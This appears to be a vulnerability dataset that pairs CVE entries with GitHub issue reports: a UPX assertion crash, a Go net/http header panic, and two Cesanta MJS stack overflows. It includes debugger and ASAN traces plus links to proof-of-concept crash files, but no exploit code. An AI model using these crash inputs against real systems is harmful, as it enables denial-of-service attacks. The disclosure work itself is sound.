<!--- IF YOU REMOVE THIS TEMPLATE WE WILL CLOSE YOUR ISSUE WITHOUT RESPONSE. Just read it and fill in the details we're asking, it saves so much of our time. Thanks! --> ## What's the problem (or question)? <!--- If describing a bug, tell us what happens instead of the expected behavior --> <!--- If suggesting a change/improvement, explain the difference from current behavior --> Same problem like [issue 448](https://github.com/upx/upx/issues/448)but not fix all the bug position. MemBuffer is attempted to be allocated with 0 bytes, failing an assertion in mem.cpp. asan ``` ./upx.out -d abort01 Ultimate Packer for eXecutables Copyright (C) 1996 - 2021 UPX git-2638be+ Markus Oberhumer, Laszlo Molnar & John Reiser Jan 1st 2021 File size Ratio Format Name -------------------- ------ ----------- ----------- upx.out: mem.cpp:216: void MemBuffer::alloc(upx_uint64_t): Assertion `size > 0' failed. [1] 1517141 abort ./upx.out -d abort01 ``` gdb ``` gef➤ bt #0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7a38859 in __GI_abort () at abort.c:79 #2 0x00007ffff7a38729 in __assert_fail_base (fmt=0x7ffff7bce588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0xa54aa0 <str> "size > 0", file=0xa544b0 "mem.cpp", line=0xd8, function=<optimized out>) at assert.c:92 #3 0x00007ffff7a49f36 in __GI___assert_fail (assertion=0xa54aa0 <str> "size > 0", file=0xa544b0 "mem.cpp", line=0xd8, function=0xa54a40 <__PRETTY_FUNCTION__._ZN9MemBuffer5allocEy> "void MemBuffer::alloc(upx_uint64_t)") at assert.c:101 #4 0x0000000000550503 in MemBuffer::alloc (this=0x61a000001458, size=0x0) at mem.cpp:216 #5 0x00000000007833c1 in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack (this=0x61a000001280) at p_mach.cpp:1555 #6 0x0000000000942adb in try_unpack (p=0x61a000001280, user=0x7fffffffbe30) at packmast.cpp:114 #7 0x00000000009407ce in PackMaster::visitAllPackers (func=0x9425c0 <try_unpack(Packer*, void*)>, f=0x7fffffffbe30, o=0x7fffffffc4e8, user=0x7fffffffbe30) at packmast.cpp:225 #8 0x0000000000942428 in PackMaster::getUnpacker (f=0x7fffffffbe30) at packmast.cpp:248 #9 0x000000000094359b in PackMaster::unpack (this=0x7fffffffc4d0, fo=0x7fffffffbf40) at packmast.cpp:266 #10 0x0000000000a16d11 in do_one_file (iname=0x7fffffffdfb7 "abort_01", oname=0x7fffffffd0a0 "abort_01.007") at work.cpp:157 #11 0x0000000000a18c16 in do_files (i=0x2, argc=0x3, argv=0x7fffffffdbd8) at work.cpp:269 #12 0x00000000005359b3 in upx_main (argc=0x3, argv=0x7fffffffdbd8) at main.cpp:1516 #13 0x0000000000539d77 in main (argc=0x3, argv=0x7fffffffdbd8) at main.cpp:1584 gef➤ frame 4 #4 0x0000000000550503 in MemBuffer::alloc (this=0x61a000001458, size=0x0) at mem.cpp:216 216 assert(size > 0); gef➤ frame 5 #5 0x00000000007833c1 in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack (this=0x61a000001280) at p_mach.cpp:1555 1555 rawmseg_buf.alloc(mhdri.sizeofcmds); gef➤ p mhdri.sizeofcmds $7 = { d = "\000\000\000" } ``` ## What should have happened? <!--- If you're describing a bug, tell us what should happen --> <!--- If you're suggesting a change/improvement, tell us how it should work --> No failed assertions. ## Do you have an idea for a solution? <!--- Not obligatory, but suggest a fix/reason for the bug, --> <!--- or ideas how to implement the addition or change --> Either remove the assertion (probably easier), or add logic to check that allocations are > 0 bytes. or like the [ c55b570](https://github.com/upx/upx/commit/c55b57088daa4a95185b4b7355dac79a0f2cd65e) add some sanitize code. ## How can we reproduce the issue? <!--- Provide unambiguous set of steps to reproduce this bug. Include code to reproduce, if relevant --> 1.Build UPX ``` export BUILD_TYPE_DEBUG=1 make all ``` 2. Run ``` ./src/upx.out -d poc ``` zipped poc : [alloc_abort01.zip](https://github.com/upx/upx/files/6269446/alloc_abort01.zip) ## Please tell us details about your environment. <!--- Include as many relevant details about the environment you experienced the bug in --> * UPX version used (`upx --version`): ``` ./upx.out --version upx 4.0.0-git-2638bee3c0f7+ UCL data compression library 1.03 zlib data compression library 1.2.11 LZMA SDK version 4.43 ``` * Host Operating System and version: `OS: Ubuntu 20.04.2 LTS x86_64` * Host CPU architecture: `CPU: Intel i5-4590 (4) @ 3.700GHz` * Target Operating System and version: `same as Host` * Target CPU architecture: `same as Host` reporter: chiba of Topsec alphalab

MemBuffer assertions again in function MemBuffer::alloc()

https://api.github.com/repos/upx/upx/issues/486/comments

2021-04-07T07:13:11Z

2021-04-23T06:56:03Z

https://github.com/upx/upx/issues/486

CVE-2021-31525

2021-05-27T13:15:08.207

net/http in Go before 1.15.12 and 1.16.x before 1.16.4 allows remote attackers to cause a denial of service (panic) via a large header to ReadRequest or ReadResponse. Server, Transport, and Client can each be affected in some configurations.

https://github.com/golang/go/issues/45710

github.com

`ReadRequest` and `ReadResponse` in net/http can hit an unrecoverable panic when reading a very large header (over 7MB on 64-bit architectures, or over 4MB on 32-bit ones). `Transport` and `Client` are vulnerable and the program can be made to crash by a malicious server. `Server` is not vulnerable by default, but can be if the default max header of 1MB is overridden by setting `Server.MaxHeaderBytes` to a higher value, in which case the program can be made to crash by a malicious client. This also affects golang.org/x/net/http2/h2c and `HeaderValuesContainsToken` in golang.org/x/net/http/httpguts, and is fixed in golang.org/x/[email protected]. This is CVE-2021-31525. According to the new security policy (#44918), this will be fixed as a PUBLIC track issue. Credit to [Guido Vranken](https://twitter.com/GuidoVranken) who reported the crash as part of the [Ethereum 2.0 bounty program](https://ethereum.org/en/eth2/get-involved/bug-bounty). /cc @golang/security

net/http: ReadRequest can stack overflow due to recursion with very large headers

https://api.github.com/repos/golang/go/issues/45710/comments

2021-04-22T19:53:59Z

2022-06-23T10:41:20Z

https://github.com/golang/go/issues/45710

CVE-2020-18392

2021-05-28T21:15:08.260

Stack overflow vulnerability in parse_array Cesanta MJS 1.20.1, allows remote attackers to cause a Denial of Service (DoS) via a crafted file.

https://github.com/cesanta/mjs/issues/106

github.com

POCs: https://github.com/ntu-sec/pocs/blob/master/mjs-8d847f2/crashes/so_mjs.c%3A14225_1.js https://github.com/ntu-sec/pocs/blob/master/mjs-8d847f2/crashes/so_mjs.c%3A14225_2.js ASAN output: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==31959==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd3bc1aef8 (pc 0x0000004d8a4c bp 0x7ffd3bc1b770 sp 0x7ffd3bc1af00 T0) #0 0x4d8a4b in __asan_memcpy (/home/hongxu/FOT/mjs-asan/mjs.out+0x4d8a4b) #1 0x544dc1 in mjs_mk_string /home/hongxu/FOT/mjs-asan/mjs.c:14225:9 #2 0x5436cb in mjs_get_own_property /home/hongxu/FOT/mjs-asan/mjs.c:12687:20 #3 0x545c5d in mjs_set_internal /home/hongxu/FOT/mjs-asan/mjs.c:12804:7 #4 0x534f61 in mjs_set /home/hongxu/FOT/mjs-asan/mjs.c:12772:10 #5 0x57bd68 in frozen_cb /home/hongxu/FOT/mjs-asan/mjs.c:12434:9 #6 0x54e48b in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6311:3 #7 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #8 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #9 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 ... #228 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #229 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #230 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #231 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #232 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #233 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #234 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #235 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #236 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #237 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #238 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #239 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #240 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #241 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #242 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #243 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #244 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #245 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #246 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #247 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 #248 0x54e858 in parse_array /home/hongxu/FOT/mjs-asan/mjs.c:6323:9 #249 0x54c4e1 in parse_value /home/hongxu/FOT/mjs-asan/mjs.c:6363:7 SUMMARY: AddressSanitizer: stack-overflow (/home/hongxu/FOT/mjs-asan/mjs.out+0x4d8a4b) in __asan_memcpy ==31959==ABORTING ```

AddressSanitizer: stack-overflow at mjs.c:14225

https://api.github.com/repos/cesanta/mjs/issues/106/comments

2018-07-03T06:21:09Z

2021-06-01T18:04:03Z

https://github.com/cesanta/mjs/issues/106

CVE-2020-36367

2021-05-28T21:15:08.370

Stack overflow vulnerability in parse_block Cesanta MJS 1.20.1, allows remote attackers to cause a Denial of Service (DoS) via a crafted file.

https://github.com/cesanta/mjs/issues/135

github.com

An issue was discovered in mjs.c 1.20.1. Stack Exhaustion occurs in mjs_mk_string function, and there is a stack consumption problem caused by recursive stack frames POC: [POC.zip](https://github.com/cesanta/mjs/files/3226071/POC.zip) ASAN output: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==22443==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc66adaa38 (pc 0x0000004dd9cf bp 0x7ffc66adb2b0 sp 0x7ffc66adaa40 T0) #0 0x4dd9ce in __asan_memmove /home/hjwang/Tools/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:31 #1 0x517ab8 in mbuf_insert /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:4790:5 #2 0x5945c2 in emit_byte /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:7672:3 #3 0x5945c2 in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12203 #4 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #5 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #6 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #7 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #8 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #9 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #10 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #11 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #12 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #13 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #14 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #15 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #16 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #17 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #18 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #19 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #20 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #21 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #22 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #23 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #24 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #25 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #26 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #27 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #28 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #29 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #30 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #31 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #32 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #33 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #34 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #35 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #36 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #37 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #38 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #39 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #40 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #41 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #42 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #43 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #44 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #45 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #46 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #47 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #48 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #49 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #50 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #51 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #52 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #53 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #54 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #55 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #56 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #57 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #58 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #59 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #60 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #61 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #62 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #63 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #64 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #65 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #66 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #67 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #68 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #69 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #70 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #71 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #72 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #73 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #74 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #75 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #76 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #77 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #78 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #79 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #80 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #81 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #82 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #83 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #84 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #85 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #86 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #87 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #88 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #89 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #90 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #91 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #92 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #93 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #94 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #95 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #96 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #97 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #98 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #99 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #100 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #101 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #102 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #103 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #104 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #105 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #106 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #107 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #108 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #109 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #110 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #111 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #112 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #113 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #114 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #115 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #116 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #117 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #118 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #119 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #120 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #121 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #122 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #123 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #124 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #125 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #126 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #127 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #128 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #129 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #130 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #131 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #132 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #133 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #134 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #135 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #136 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #137 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #138 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #139 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #140 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #141 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #142 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #143 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #144 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #145 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #146 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #147 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #148 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #149 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #150 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #151 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #152 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #153 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #154 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #155 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #156 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #157 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #158 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #159 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #160 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #161 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #162 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #163 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #164 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #165 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #166 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #167 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #168 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #169 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #170 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #171 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #172 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #173 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #174 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #175 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #176 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #177 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #178 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #179 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #180 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #181 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #182 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #183 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #184 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #185 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #186 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 